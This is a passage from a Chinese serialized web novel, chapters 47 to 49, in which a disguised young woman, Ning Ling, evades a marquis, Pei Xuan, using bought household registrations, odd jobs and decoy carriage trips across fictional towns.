宁泠拿出几吊铜钱招招手,其中一个年纪和胆子稍大的孩子围了过来。 “小哥哥,你需要帮忙吗?”小孩子的眼神怯生生。 宁泠笑着问道:“你知道这淮州哪家客栈便宜实惠吗?” 小孩眼睛望着铜钱点点头:“万福客栈就很好,就在这附近,需要我带路吗?” 宁泠摇摇头,小男孩有点失望,他还想着能挣点跑路费。 宁泠脸带笑意地将小厮回叙州的路引拿出来:“你去帮我买张后日最早去叙州的船票,然后将东西都交到万福客栈。” 小孩子点点头,宁泠将几吊钱给他了。 宁泠也是坐了船才知,有些忙着出行的人,会头一天早早预订好船票。 第二天卡着时辰来即可。 买票有路引就成,只有上船才可能会查路引与本人是否符合。 但是这几次的逃跑经历,宁泠逐渐发现其实查得并不严格。 首先船夫就不认字,完全靠码头几个管事的,大家也懒得多费精力。 有钱赚大家都开心。 宁泠租了马车往万福客栈去,到了客栈她订了一间屋住到后日离开。 接着又离开,然后徒步走至城门处等待。 她在等待一个契机。 大概等了一个时辰,宁泠躲在附近茶馆喝茶,终于发现了她要等的人。 是送柴的人。 风尘仆仆的马车,她的马车和衣衫上都沾了许多木屑,衣衫不可避免被勾坏。 应该是准备回去装柴火的人。 “大姐。”宁泠笑着伸手将马车拦下。 路过了好几个送柴的,有青年人,也有老年人。 还有被风吹雨淋晒得皮肤土黄色的樵夫。 他们应该是生意好时帮着砍柴,无事时帮忙送柴。 只有大姐一个女性,估计是大姐家里男丁不足,又家境窘迫。宁泠毕竟是去人生地不熟的地方。 相较于男人的体格和力量,还是女子能让人稍微安心些。 而且大姐们一般都是热心肠,给足了路费不会为难人。 大姐勒紧马绳,警惕地看着宁泠。 她一个女人家送柴,遇见过许多地皮流氓,不怀好意之人。 宁泠端正行了礼,客客气气问道:“大姐可是回高石县?” 在茶馆她打探过,淮州的柴火大多来源于这个地方。 大姐比旁人回去的时辰要晚,应该离得不远。 大姐没说是与不是,问道:“与你何干?” 大姐身形与一般女子稍稍魁梧些,看起来是个干练利索的人。 皮肤干燥,肤色带着黄褐色,一看就是劳作的人。 “是这样的,我有事要去高石县。”宁泠拿出六个铜板道:“身上银钱不够,车马行不肯带我,大姐愿意顺路捎我一程不?” 大姐闻言心中微动,她一个人回去也是回。 多捎个人上马车也无妨,还能多得六枚铜币。 她又仔细打量了宁泠几眼,看样子是个清秀小生,手无缚鸡之力。 “成吧。”大姐开口,“你上来。也是你今年儿运气好,遇见了我,车马行不收你一吊钱,那肯载你。” 宁泠将铜板递给大姐后上了马车,连连道谢。 过城门时,宁泠心里十分紧张。 大姐送柴多年,城门守卫早认识她了。 连马车帘子都没掀开,就放人走了。 宁泠长舒一口气,这样出入城门就没有她的记录。 想要追查她的行踪就不是一件容易事。 马车上颠簸了一个时辰后,宁泠在高石县附近下了马车。 县里比不 得州城热闹繁华,城内的茶棚四周窝着几个小孩。 衣衫褴褛,小脸脏兮兮的。 宁泠看了几眼,上茶的小二说道:“都是些讨厌的小乞丐,看好你的钱袋子。” 他见宁泠频频探头看向那边,以为他心生怜悯,劝说道:“你可别好心去施舍,小心他们一哄而上将你抢了。” 宁泠点点头,在外行走,莫要多管闲事。 她看了眼年纪最大的小男孩,心生疑惑问道:“那个头儿应该能自食其力了,怎么还乞讨为生呢?” “哦,他一个人干活倒是能活。”茶馆人不多,小二和宁泠闲聊:“可他的那几个弟妹,若没他在上面顶着,可要被其他乞丐欺负死。” 乞丐之间也有帮派斗争,划分地盘。 这个年纪大点的小男孩走了,剩下的孩子们就没有活路了。 宁泠沉思了会,付了茶钱向那群乞丐走去。 小二摇摇头,不听劝啊。 见有人走来,小孩子都眼前一亮,以为他是来好心施舍的。 宁泠走在最大的男孩子面前:“你们应该偷了不少东西吧?” 小男孩闻言瞳孔猛缩,没有说话。 从小二刚才的话里,不难猜出他们干了许多偷鸡摸狗讨人嫌的事情。 几个小孩子脸上沉不住气,缩在一团。 “户籍有吗?”宁泠压低声音,“有我想要的,给你们五吊钱。” 既然弄路引扎眼,宁泠就换个方向。 小男孩点点头,让宁泠等会。 过了一炷香的时间,他带着一堆发黄发黑的户籍过来,让宁泠挑选。 宁泠接过后,在上面找与自己外貌描写相近之人。 最好户籍也是高石县村落的人。 她挑出符合的两张,将五吊钱给小乞丐。 小乞丐舔了舔嘴角,眼神贪婪。 宁泠笑了笑,跟着裴铉久了。 她也学会了几分他那副似笑非笑、气势骇人的模样。 “老实些,不然将你们送官府衙门。”宁泠嘴角上扬,眼神凌厉。 几个小乞丐顿时老实了,眼神惊恐,他们最怕的就是官府。 平时仗着年纪小偷了就跑,可总有没跑掉的。 被送进了官府后,挨了打受伤出来,没有钱买药,不治身亡。 有了户籍,宁泠就是正儿八经的高石县人了。 但是她依旧不打算住客栈,或是租房子。 裴铉敏锐地很,一点点动作都会让他顺藤摸瓜。 叙州那么快被追查发现,线索无非两点。 金瓜子和路引。 幸好金瓜子换来的银子足够她一两年衣食无忧了。 高石县比不得州城繁华,万万不能去典当黄金。 坐吃山空不是办法,得去找个活干。 不然天天无事可做惹人怀疑。 最好还是个包吃住的活计,这样裴铉就不能追查到她的行踪了。 宁泠一连跑了几家酒楼,都没影子。 当小二是个抢手的活,跟着吃香喝辣,运气好说不定还有赏银。 做生意的掌柜眼睛像个火眼金睛似,一眼瞧出宁泠不是那种殷勤会哄人的甜嘴巴。 宁泠心生几分郁闷。 跑了最后一家酒楼,掌柜的好心说道:“小哥看着像是个读书人,哪里适合干这行?” 其实像个书童,但是掌柜们向来都能说会道。 这话点醒了宁泠,她不是认字吗? 宁泠马上又毛遂自荐了当账房先生,可还是无人问津。 认字和会做账有很大区别,再说谁家敢随意请个毛头小子做账?说出去岂不笑掉大牙。 宁泠漫无目的在街道徘徊,看见一家书肆,外面贴着招工。 她抬脚走近里面,店内坐着一个老翁,见有人进来随口:“买书还是借书?” “我看外面招工?”宁泠拱拱手。 老翁看了下宁泠:“可认字?” 宁泠脸上带笑:“常见的字基本认识。” 她也不敢拍着胸脯保证都认识。 老翁将一大摞书推到宁泠面前:“把书名都念出来。” “春秋,昭名文选”宁泠一个个读出来,偶尔也有个别字不认识,她尴尬地摸摸额头。 “写出来我瞧瞧。”老翁接着拿来纸笔。 宁泠心里更悬了,她那手字,她自己都不太好意思。 没办法,她硬着头皮写出来。 除了勉强能看懂,毫无笔锋,筋骨可谈。 “行吧,我这五百文一个月。”老翁又带着宁泠去了书肆后院,“你若没落脚地,可以住这后院,这边是我房间不常用,那间屋子可以给你用,不包饭食,你自己煮饭。” 他找帮工许多了,都没找到合适的。 首先书肆要帮忙找书,整理书籍,简单的认字必不可少。 然后还有借书的,要会简单记账,几时借了后来是否如约归还。 当然有穷书生来,老翁聘用了几个月。 他们一门心思扑在看书上,月月拿了银钱还免费看他的书。 干活一点都不细致,天天想着科考。 老翁一怒之下将他们扫地出门,可他年纪大了,眼花得很。 今日终于遇见个合适的,来了个看着年纪小,心思单纯的。 又能认字又能记账。 那手字要想参加科举考试,起码还得练五年以上。 要想能取得名次,还得再练十年。 宁泠很满意这份活,能有单独的房间。 酒楼小二都是睡大通铺,书肆里往来的人也简单。 叙州城内,孟亦知将宁泠的计划托盘而出,裴铉倏地笑了一声。 他出了宅院:“派人马上去淮州追查,注意码头路引等消息,她肯定想办法脱身,不会久留。但以防万一,淮州也好好查查。” “是。”林韦德派人连忙去查。 他以为侯爷会勃然大怒,狠狠惩治张川等人,但他似乎心情没想要中糟糕。 毕竟人放在眼皮子下盯着,还让她跑了。 裴铉阴沉的脸色稍稍缓解,孟亦知在宁泠心里不过如此。 还以为是患难与共、生死不弃之交,结果大难临头,弃之若敝履。 “张川,此事办不好。”裴铉轻蔑地睨了眼身旁人,“不必再回来见我了。” “是。”张川面露愧色,心里发誓一定要查出宁泠的行踪。 裴铉身上还有公务缠身,不便久留。 他回船直达盛安城内,进宫禀明一切。 时间如流水,三日后淮州传了消息回来。 查到宁泠在淮州落脚,还买了回叙州的船,但张川派人去寻却一无所获。 他怀疑宁泠故意暴露行踪,以假乱真,兜兜转转没了线索。 “林韦德,去宁泠老家从卖她的族亲里,挑几个有用的送过来。”裴铉忽地说道,又皮笑肉不笑,“还有她那个孟哥哥的家人一并接来。” 林韦德:“是。” 他心里偷偷犯着嘀咕,不知侯爷又要干什么? 第48章 第48章【VIP】 “好奇?”裴铉问道。 林韦德点点头:“宁姑娘怕是对族亲无甚感情。” 族亲将她卖了,宁泠睚眦必报的倔脾气,估计是没有什么好脸色给他们的。 侯爷若是想靠用族亲来威胁宁泠,恐怕没用。 裴铉笑笑,斜睨了林韦德一眼:“在你心里,我只会用要挟这套?” “当然不是。”林韦德涨红了脸。 “她那性子,再捉回来也想着跑。”裴铉语气低沉了下去,“既然如此,我便干脆断了她的路。” 林韦德没想到这其中与宁泠族亲有何关系。 裴铉接着说:“未娶妻,先纳侧夫人,她身份又低微,少不了闲言碎语。” “侯爷是想抬举她族亲?”林韦德大概摸到了门道。 不过他认为宁泠不会领情。 裴铉不屑笑笑:“抬举也要有命享福才行。” 林韦德又想到连孟亦知的家人一并绑来,他谨慎开口:“孟亦知好歹是个秀才,侯爷此举是否太过冒险?” 若是被人抓住了小辫子,也是麻烦事 一桩。 “你脑子里的本侯到底有多穷凶极恶?”裴铉掀了掀眼皮子,盯着林韦德。 满脑子都是他要去用宁泠族亲威胁她,要去折磨孟亦知一家。 林韦德神情讪讪,难不成侯爷找他们还有好事? “积善行德。”裴铉拖腔拿调,“这四个字没听说过吗?” 林韦德点点头,但他不认为侯爷会对孟亦知一家积善行德,对宁泠还差不多。 “去叙州找找有没有好人家。”裴铉若有似无的笑意浮现在脸上,“给孟亦知好好说门亲事。” 林韦德的脑袋真的转不过来了,嘴巴张大:“啊?” “按我说的去做。”裴铉懒得和他这个榆木脑袋多说。 一月时光悄然而逝,裴铉的脾气愈发阴晴不定。 张川将叙州淮州翻了个顶朝天,还是没有消息。 裴铉甚至亲自跑至淮州,监督众人的搜寻结果。 线索是从淮州断了的,能够查到宁泠下了码头,去了客栈。 但之后就杳无音信了,裴铉记得上次在花楼宁泠曾透露过想去江南。 他派人也去查了,还是没有消息。 人是从淮州消失的,她躲在城内的可能性也很大。 他派人将外来人员仔仔细细筛了一遍,也往四周发散。 尤其命人严格核实户籍本人,派人去茶馆、花楼、酒楼打探消息。 相较于裴铉搅地天翻地覆,宁泠的这一个月倒是活得惬意简单,她厨艺不好也不为难自己。 每月五百文,只要不日日去酒楼海吃海喝,怎么都够了。 唯一的不好便是人人都嘲笑她的字,丑得不忍直视。 书肆靠近县学,附近不少书生来看书借书。 每每借书时,宁泠抄录记账都能看见别人嫌弃的眼神。 春光明媚,风和日丽,太阳散发的温度刚好适宜。 宁泠搬了一般躺椅放外面,悠哉悠哉地晒着充满暖意的阳光。 徐徐微风拂来,带着烂漫的花香,懒洋洋地舒服极了。 老翁只有每日关店时来盘点一次。 平时他并不管束宁泠。 她已经将附近小镇方位大小都打听过了,以备后患。 宁泠当初从男孩手里拿走了两张卖身契,一张和老翁签了帮工契约。 她寻思现在是不是该去弄一张路引,还是踏实地留在这里。 晒着热乎乎的太阳,宁泠闭眸思考了一会。 认为还是要准备一张真正的路引,做两手准备。 心里做好打算,晚上老翁来盘账时,宁泠说道:“我明日休一天。” 老翁点了点头,他每月有一天假。 第二日宁泠懒得睡了个懒觉,接着她对着镜子捣鼓一番,力求与另外一张户籍上描述贴切。 她吃完午饭收拾好后去了官府,准备去登记办理路引。 竟然是长长一条队伍,宁泠垫着脚尖望着前面。 轮到她估计还早,宁泠不死心又跑去前面去查看一番。 发现办理的速度十分缓慢,是挨个轮流进去办理。 每个人进去的时间大概有小一炷香时间,出来的时候还理理衣衫。 难不成还要脱了衣服,验明真身? 宁泠吓了一跳,返回排队的队伍中。 她有意打探消息抱怨道:“天啦,这么长的队伍,要排到什么时候啊?” 周围也是骂声一片,后面跟着来排队的人源源不断。 宁泠:“我记得以前也不这样啊?” 有知情者讨论起来:“听说叙州来了个大官,新官上任三把火。说啥路引户籍核实不严,下面这些人可不拿着鸡毛当令箭,个个铆足了劲查。” 众人叽叽喳喳,宁泠越听心底越生寒,脊背惊了一身冷汗出来。 众人七嘴八舌地议论:“是不是还要脱衣服啊?” 排队里有女子听了后,脸色吓得惨白。 有办了路引的好心人安慰道:“男子检查男子,女子检查女子,而且不会全部脱完。” 众人听了才稍稍放心。 宁泠的心却坠了下去,知道今日这路引她是办不成了。 老百姓口中的那个大官不知是裴铉本人,还是他的手下。 明明阳光明媚,万物复苏,生机勃勃。 宁泠却感觉丝丝凉意从她的皮肤蔓延到五脏六腑。 宁泠思考了会,她没动用金瓜子,每月花销正常并不扎眼。 唯一担心被查出来就是户籍问题。 对于现在这种情况来说,以不变应万变是最好。 户籍路引查得这么严,她贸然动身很有可能被发现。 宁泠老老实实地回了书肆,路上却遇见了个小乞丐,十分眼熟,好像是之前那群。 他们之前在茶棚附近流浪,距离县城内尚且还有一段路。 乞丐之间一般有明确的地盘划分,不会轻易踏足别人的地方。 宁泠顿感不妙,放轻脚步跟了上去。 死胡同里内,他们被一群年纪稍大的乞丐围堵住。 小乞丐们势单力薄,体格较小,神情紧张。 大乞丐们嚣张囔囔:“你们坏了规矩,来这讨东西就是找死。” “我们马上就走,好不好?”一个男孩子哭咽说道。 大乞丐们一哄而上,打算好好教训下他们。 宁泠皱眉看着眼前这一切,那个卖给她卖身契的男孩呢? “住手!”宁泠呵斥一声。 大乞丐们纷纷扭过脑袋,看着宁泠。 一时间大家都没动,大眼瞪小眼。 大乞丐们仗着人多势众,恃强凌弱,并不将宁泠一个人放在眼里。 “旁边就是衙门,你们想去吃牢饭?”宁泠拿捏姿态,冷笑一声。 大乞丐们都吓得面色大变,一哄而散。 小乞丐们鼻青眼肿地蜷缩在墙角,神情紧张望着宁泠。 宁泠走近问道:“你们老大人呢?” 几个孩子看他刚才面色不善,害怕被送进官府吓得瑟瑟发抖。 “我与他无仇无怨,只是以前见他护着你们。”宁泠语调轻柔。 一个小女孩忽地哇哇大哭起来,宁泠吓得手足无措,连安慰了几声都没用。 出了胡同,从外面摊贩处买了几个热饼哄他们。 小女孩饿极了,一边狼吞虎咽地吃,一边含糊不清地说话:“哥哥他被官府捉走了,都是因为我,呜呜呜。” 宁泠从几个年纪稍大点的孩子口中得知,原来是小女孩去偷人钱袋子时被逮住了,当场要被拖去官府,他们老大拼命挣扎才救下她,他自己却被抓住了。 宁泠心彻底慌了,现在官府对户籍路引审查这么严格,很有可能会盘问他。 预感自己行踪可能暴露后,宁泠急急忙忙回了书肆后院,连老翁与她说话都没听清楚。 此时淮州城的府邸,大大小小的官员坐在书案处整理核实户籍路引。 裴铉眉梢下垂,脸色不虞地坐在主位上,有些无精打采。 一个小官员神采奕奕,急匆匆跑来:“侯爷,有消息了。” 裴铉踩在脚踏上,骨骼分明的手支着脑袋,神情波动并不大。 连日来,捕风捉影的消息太多了,每每却是空欢喜一场。 夜里一个人躺在床塌时,他有时会想是不是永远找不到她了。 像是石沉大海,音信全无。 小官员见侯爷兴致不高,犹豫地望向林韦德 “说。”林韦德出声。 小官员情绪高昂道:“高石县有个长相清秀,身形消瘦的男子,从一个乞丐手里买了两份户籍,时间刚好符合大人的要求。” “高石县?”林韦德问道,“距离此地有多远?” “不远,坐马车大约一个时辰的路程。”官员恭敬回答。 从宁泠下船的时候来算,还真有可能。 林韦德道:“可对比了画像?” 画像上的宁泠一袭男装,眉清目秀,是裴铉亲笔所画。 州城的守门主将才有画像,让下面的人看过后按照记忆对比。 若有对得上的,再仔细核查户籍路引。 官员挠挠头道:“不完全 像,那人皮肤暗黄了些,身高也比描述地要高些,五官倒是有几分像。” 裴铉的眼珠子像是猫见了耗子般,蹭得亮起来。 “人还在高石县?”他声音里带着急切。 小官员连忙问道:“下官离开时在,从官府查出的备案上看,他在一间书肆做帮工,平日里都宿在书肆后院。” 裴铉笑出了声,像她的行事作风,估计八九不离十。 “林韦德,去挑最好的马。”裴铉大步流星往外走 宁泠神色焦急地在屋里转着圈,脑子乱成一团浆糊。 她迫使自己冷静下来,要头脑清醒去考虑后路。 她有两张户籍,后面一张户籍还从没用过。 她可以用这张户籍悄无声息地去小镇上避避风头。 男孩子虽然知道她拿走了两张户籍,却不认字,不可能知道户籍的真正信息。 宁泠觉得事不宜迟,连衣衫她都没收拾。 匆匆把户籍和金瓜子藏好后,她就赶到了车马行。 “小哥去哪?”店主拨着算盘问她。 宁泠犹豫了,裴铉如果能追查到高石县,她一走了之后。 他必定能够顺藤摸瓜找到车马行,看到登记册就能知晓她的目的地。 而且他骑马追赶必定比马车快。 “我去红光镇。”宁泠报了现在书肆使用的户籍。 “好勒,客官一个人?要马夫不?”掌柜一套话问下来。 “要。”宁泠心里暗叹一声,出门在外没点技艺傍身,难于登天。 若是她会骑马,裴铉要追查她行迹就难了。 退一步来说,就算不会骑马,会驭马行动也会方便很多。 交付了铜币后,掌柜很快配好了马车和马夫。 宁泠毫不迟疑上了马车出了城门,以往城门把守检查不严。 今日却不一样了,宁泠和马车的户籍都被要求拿出来检查。 “去哪?”把守城门的士兵一板一眼问道。 宁泠老实回答:“回家。” 官兵看了眼人户籍对得上,就挥挥手放行了。 去了城门没行驶多久,宁泠对马夫说道:“大哥,先送我去古井镇吧。” 马夫自然不乐意:“不是说去红光镇吗?” 宁泠解释:“我难得有假回家一次,有个伯父一直在古井镇做点小生意,他身子不好,我刚好顺路去看看他。” 马车拧着眉毛没开腔,宁泠掏了一吊钱塞到他怀里。 “麻烦大哥,这是去古井镇的路费。” 马夫的脸上有了点笑意,车马行是老板的,他们只有工钱。 外面收这一吊钱,他可以昧下一半。 两人交涉好以后,宁泠缩回了马车,将马车帘子掩盖地密不透风。 不知裴铉多久寻来?虽然可能是她虚惊一场,可还是先做打算为妙。 路边上尘土飞扬,时不时有马车路过。 约莫行驶了半个时辰,忽地听见外面群马奔腾声,马蹄重重踏在地面上,形式骇人。 县城附近骑马的人不多,一群一群的更少。 “还有多远?”宁泠听到了一道熟悉的声音,是裴铉! 她浑身控制不住地发抖,手指死死攥紧帘子。 “侯爷快了,约莫还有一炷香。”不认识的声音回答。 裴铉没有回话,凌厉的眼眸对视上迎面而来的马车。 第49章 第49章【VIP】 宁泠躲在马车内,屏住呼吸,手心紧张地发汗。 “侯爷怎么了?”林韦德侧目问道。 “没什么。”裴铉摇摇头,“走吧。” 他也不知自己刚才为何停下,还是先去高石县要紧。 两人擦肩而过,等确定裴铉等人离开后,宁泠才敢掀开一点缝隙,看了看外面, 一炷香后,裴铉到了高石县,小官员连忙将他引去书肆。 宁泠离开时不敢和老翁透露风声,他还被蒙在鼓里不知情。 他看见一群腰佩刀剑,气势凌厉的人进了书肆,忙问道:“几位有何贵干?” 小官员立马问道:“你的帮工呢?” “小李?”老翁声音发抖,莫非那家伙在外惹了什么事情? “对,人呢?” 老翁神色忐忑回答:“不久前还回了屋但又出去了,今日他休假我不知道他又去哪了?” 林韦德对上裴铉的视线,心神一滞。一个手势令下,侍卫们四散寻人。 “为何不派人盯住?”林韦德神色不悦质问道。 “昨天他都好好在这。”小官员慌忙找补,“应该是在外玩,没出县城。” 小官员暗暗祈祷宁泠没跑,不然他官路亨通的机会瞬间化为泡影。 当时从小乞丐处得了点消息后。他欣喜若狂,却不敢告诉其他人,不然县令他们抢功劳,还有他什么事情? 他没惊动任何人,自己偷偷摸摸来书肆偷看了一面。 发现挺像后,马不停蹄去见了裴铉。 一炷香后,侍卫传来消息,约莫他们到达前半个时辰,宁泠租了马车去红光镇。 “侯爷,我立马带人去追?”林韦德问道。 裴铉蹙眉:“不必了,她的性格不会这么堂而皇之地将目的地告诉我。” 她既然察觉到不对离开了,就不会留下这么明显的行踪。 林韦德认同道:“我派人守着车马行,等马夫回来立即询问下落。再派人去附近几个镇重点搜寻。” 裴铉点点头,没想到功亏一篑。 旁边的小官员听了脸色煞白,没想到坏了事,林韦德忍不住狠狠剜了他一眼。 裴铉去了宁泠后院居住的小屋,里面依旧很简单,她离开得匆忙,连衣衫都来不及收拾。 他凑近嗅了嗅,依旧是她身上那股浅浅的橘香味。 裴铉还翻了翻她抄录的记账本,那手字没有半点起色。 等他抓住她,定要让她好好练练。 他整洁的手指在账本上临摹他的字时,忽地想到来时遇见的马车。 她时不是在那辆马车上?所以他才心有所感地停下。 “林韦德,去追我停下看得那辆马车。”裴铉命令道。 “是。”林韦德答道。 是又怎么样,半个时辰过去了,路上的马车不止一辆,早已难寻踪影。 她说不定已到达某个小镇,隐藏行踪。 林韦德心里暗叹,或者侯爷自己也知道,却还是心存侥幸。 “算了。”裴铉想了想说道,“全力排查附近镇上的人口。” 她狡黠去狐狸,没那么容易逮住她。 “是。” 宁泠到达古井镇后,她指了家路边的茶棚:“大哥,你在这儿歇会脚,我先去看伯父一个时辰内必回来。” 宁泠唤小二给他上了几样吃食茶水,还主动热情地付了账。 马夫见他如此客气周到就不好多说什么。 走远后,宁泠随意又找了一家茶馆歇息。 明明是清香的茶水,她却味如嚼蜡。 裴铉这么快就寻来了高石县是她没想到的,她原本计划是在古井镇躲一躲,看来是不行了。 以裴铉的脾性肯会将周围几个县镇好好搜寻一番,小镇人口少,外来人员尤为扎眼,要不了多久就能搜出她。 宁泠眼眸透着焦急,要怎么甩开裴铉呢? 他现在人在高石县,待马夫回去后一查,她便无处遁形。 倏地宁泠想到了什么,轻声一笑。 他裴铉要离开淮州去高石县,她宁泠就离开高石县回淮州。 还要让他认为她不可能回淮州。 宁泠在古井镇找了家车马行:“掌柜的,我要去高石县。” “好勒。” 一个时辰后,宁泠按时回去了。 他神情悲切,情绪低落的模样。 引得马夫多看了他两眼:“小哥怎么了?” 宁泠似是终于忍不住嚎啕出声:“我大伯快不行了,我真没想到他病得这么重了,他还强撑着不告诉我们任何人。” 马夫有点连忙安慰了几句后问道:“那小哥还回红光镇不?” “我肯定不能离开。”宁泠双眼发红,“怎么能 扔下他不管!” 马夫偷偷嘟囔:“那他的家人孩子呢?” 见宁泠泪眼婆娑地望着他:“大哥,你再帮我多跑一趟吧。” “啊?” “我大伯有个儿子在淮州的来福客栈当小二,烦请你去递个消息,速速回来。”宁泠又给他套了两吊钱,“求求你了。” 宁泠一边说着,一边就要给他跪下。 “我答应你,答应你。”马夫连忙扶起他,“我现在出发?” 宁泠摇摇头:“淮州路途遥远,现在都快黄昏了,你现在出发,等到了说不定城门都关了。就算没关,告诉我堂哥,他也来不及出城门。叙州城客栈又贵,不如你在古井镇住一晚,明日早起去送信可好?” 马夫点点头,淮州城内啥不贵。 宁泠把马夫送到客栈安顿好,就回车马行上了马车出发。 她当然不是真正回高石县,羊入虎口。 宁泠将车帘漏出一道小缝隙,仔细观察外面。 她现在的行踪已被人盯上,坐马车如论如何都会被查出来的。 看到了熟悉的光景,宁泠喊道:“停。” 马夫好奇问道:“怎么了?” “忽地想起这附近,我有个亲戚许久没有拜访了。”宁泠笑着答道:“大哥,你回去吧。” 古井镇的马车一脸皱眉地看着宁泠,觉得他举止怪异,莫名其妙。 可宁泠执意如此,他也不管闲事,少跑些还轻松点,于是调转马头回古井镇了。 宁泠下了马车后,打量四周这个地方,就是裴铉刚才经过的。 当时听见说此地距离高石县一炷香的时间,那距离淮州应该还远。 宁泠当时做大姐的马车时,有心记了下路。 但是时隔一个月,她不能保证。 但是没关系,路面上众多的马蹄形可以为她指路。 宁泠背着买好的干粮和水,在路上行走。 路上的风险宁泠也考虑过,但是她还是想赌一把。 靠近州城不可能有土匪,尤其裴铉还在这,官员肯定会注重治安民风。 一个时辰的马车路程,宁泠估计自己要走两三个时辰。 最好是清晨刚开城门那时侯入城,那时候入城的人多,把守城门的士兵肯定不会检查太仔细,对面容印象不清晰。 看来只有连夜赶路了,宁泠低叹一声。 走了约莫一个时辰,宁泠累得满头大汗,坐在路边喝了口水后,咬咬牙继续坚持下去。 白天光线好她认路更加清晰,而且随着时间流逝,路上的马蹄印肯定越来越模糊,晚上也更不好辨认。 天色昏暗笼罩着大地,宁泠已经不记得走了多久了,脚疼得厉害,小腿酸痛。 她得赶紧找个地方歇一歇了,反正肯定走了大半多了。 宁泠不敢去有人的地方借宿,只有沿途找找破庙,或者亭子之类。 又走了会,天色完全暗了下来,寥寥星辰坠于夜空。 宁泠找到了一个破庙,她谨慎地将拿出防身携带的银簪,死死攥在手心。 另一自拿着包裹取出的火折子,吹燃后她慢慢推开门进去,嘎吱一声。 厚厚的灰尘扑面而来,呛得宁泠直咳嗽。 宁泠眯着眼眸将这件庙屋走了一遍,没有任何人住的痕迹和物品。 此地处于两县城中间,人烟稀疏。乞丐流氓们会更愿意靠近人多的地方。 宁泠放心地找了个角落,将包裹抱在怀里睡觉。 春季夜晚的风带着微凉,宁泠忽地想到她逃跑那天被酒鬼堵在胡同的事情。 如果那天她没能侥幸跑掉,她会毫不犹豫地拿出侯府的卖身契震慑众人。 行踪暴露就暴露了,人活着就什么都还有可能。 现在那张卖身契她都留在身上,也算狐假虎威的一张护身符。 她不敢睡得太死,睡一会醒一下,透过破残的屋顶抬头看看天色。 见天色稍亮些后,宁泠又收拾好东西继续赶路。 有时候遇见实在认不清路时,她又吹燃火折子看看路面。 走得宁泠疲惫不堪时,她终于宁泠高大厚实的城墙,困意泛滥的脑袋来了精神。 宁泠跟着众人排队,等着开城门。 她并不担心会与去淮州的马夫碰上,因为马车是在另外一个门排队。 路人和马离得太近了,有被踢伤的风险。 现在士兵多半会仔细检查马车,她之前那套做马车出入城的计谋是用不成了。 轮到宁泠入城检查时,士兵看着她两眼,没看出什么太大区别。 灰蒙蒙的天色,后面乌泱泱一大堆人。 他翻了翻户籍,是淮州城下面小村落的人,本州人不用路引也成。 “进城干什么?”他问道,毕竟户籍上家离这较远。 宁泠小心赔笑回答:“进城找个活计。” 她不敢说回家探亲,害怕被追问详细地址和人员。 士兵问道:“啥都不知道,就敢往城里跑?” 宁泠脱口而出:“家里托人找了关系,说让我去来福客栈当小二。” 士兵听了点点头,放了宁泠走。 宁泠回头看了眼,发现进城的每个人都要被盘问,如果回答的很模糊,或者是敷衍,就会单独拉出去严查。 她感叹自己幸好记住了一个客栈名字,不然被盘问时还不知道说什么。 宁泠进了城后,用假户籍找了家平价客栈住了下来,好好洗了个澡后,去床上一觉睡到下午。 裴铉这儿中午才等到从淮州回来的马夫,他一回车马行见这阵势吓得双腿发软。 裴铉和林韦德都看了马夫一眼,原来当时宁泠就在那辆马车上。 等马夫一五一十交代完后,林韦德问道:“属下马上派人去古井镇查?” 裴铉没说话,眼眸幽深,神情有点疲倦。 他等了一夜。 宁泠绕了这么一大圈让马夫去淮州,是为了拖延时间逃跑。 整整一天一夜时间,她不知又跑去了哪儿? 他和林韦德都心知肚明,宁泠不可能在原地坐以待毙。 没多久,探子从古井镇传来消息,将那位马夫一并带了来。 马车带着他们到宁泠下车的地方:“就是这儿,他说他有亲戚在附近,要去拜访。” 林韦德看着熟悉的地方不敢说话,他没想到宁泠会这么大胆。 反其道而行,不知她来这的用意是为何? 林韦德看了地图,这条路四通八达,可前往附近几个小县城,而且来往马车又多。 一时间想找出她的踪迹很难。 “去查!周围所以她可能到的地方,都给本侯查清楚。”裴铉眼底阴鸷。 裴铉失去了所有耐心,每次就差一点,就那一点! 她在他眼皮子招摇过市,分明是在挑衅嘲笑他。 宁泠在客栈住下的几天,仔仔细细思考了下自己后续可行的方案。 现在的路引她肯定没法拿到了,想去其他州城很难,去县城倒是简单。 之前裴铉一定认为她在其他州城,重点排查城内。 现在估计重心移向县镇,小地方不好藏人,大隐隐于市。 还不如留在淮州,找份正经活计,不招眼。 反正现在她的户籍是真的,很难查出来。 宁泠思来想去,打算去车马行找份活干。 若是她能学会骑马驾马车,以后就不用受制于人了。 宁泠避开了淮州码头和来福客栈的车马行,她担心他们对她还有印象。 宁泠一连跑了几家,掌柜看了她都摇头。 黄记车马行下,宁泠费劲口舌:“掌柜的,你就好心收了我吧,我勤快能吃苦。” “车马行很辛苦的,你这身板吃不消。”掌柜的拨弄算盘,轻飘飘地扫了宁泠一眼。 宁泠积极说道:“擦洗马车,洗马喂草我都愿意干。” 她跑了前几家车马行,说去当马夫学徒,结果个个都没瞧上她。 说她力气小,降不住马儿。 掌柜没说话,迟疑了下。 这些粗活愿意干的人不多,嫌脏嫌累月钱还少。 宁泠见有戏,立马又说道:“而且我识字,还会写字,之前在书肆当过帮工。” 当不成马夫学徒,那就先混进车马行再想办法。 掌柜好奇问道:“你既然认字又会写,何苦来车马行?外面菜市帮人写信,生意都不错嘞。” 宁泠面色尴尬:“会写是会写,就是写的丑。” 掌柜来了兴致,拿了纸 墨笔出来:“你写给我看看,能有多丑?” 宁泠将黄记车马行五个字写了一遍,掌柜的看了看:“是有点丑。” 这手字淮州城内还真没几个东家看得上。 “掌柜的,您就好心收了我吧,无事我就去收拾马车,洗马喂草。”宁泠分析得头头是道:“你忙时我就帮你记下账,我这手字虽丑,但也能勉强看。” 黄掌柜想了想,点了头。 车马行的生意不固定,有些人多了,他一个人记账安排忙不过来。 专门再请一个账房先生又不划算。 “八百文一个月,包吃不包住。”黄掌柜说道。 宁泠点了点头,按了手印。 若是住大通铺,她也不方便。 现在户籍是真的,去单租一间小屋也方便。 “黄掌柜,我这儿人生地不熟,你能不能帮忙介绍个房牙子啊。”宁泠问道。 自己去找房牙子,费时费力,说不定还被人讹钱。 黄记车马行的伙计们应该都住在附近,方便上工。 “你问对人了。”黄掌柜带她去茶馆见了个人。 宁泠没打算租个宅院惹人注意,只要求合租一个单间。 但也花了三百文一个月,连带一百文租金。 算下来,工钱和书肆差不多,人却要累些。 不过只要能学到驾马车的手艺也值了。 这几日的时间,裴铉一直待在高石县,也没去驿站居住,而且就睡在宁泠那件小屋。 派下去的人都无功而返,裴铉拿着宁泠写下的账本看了又看。 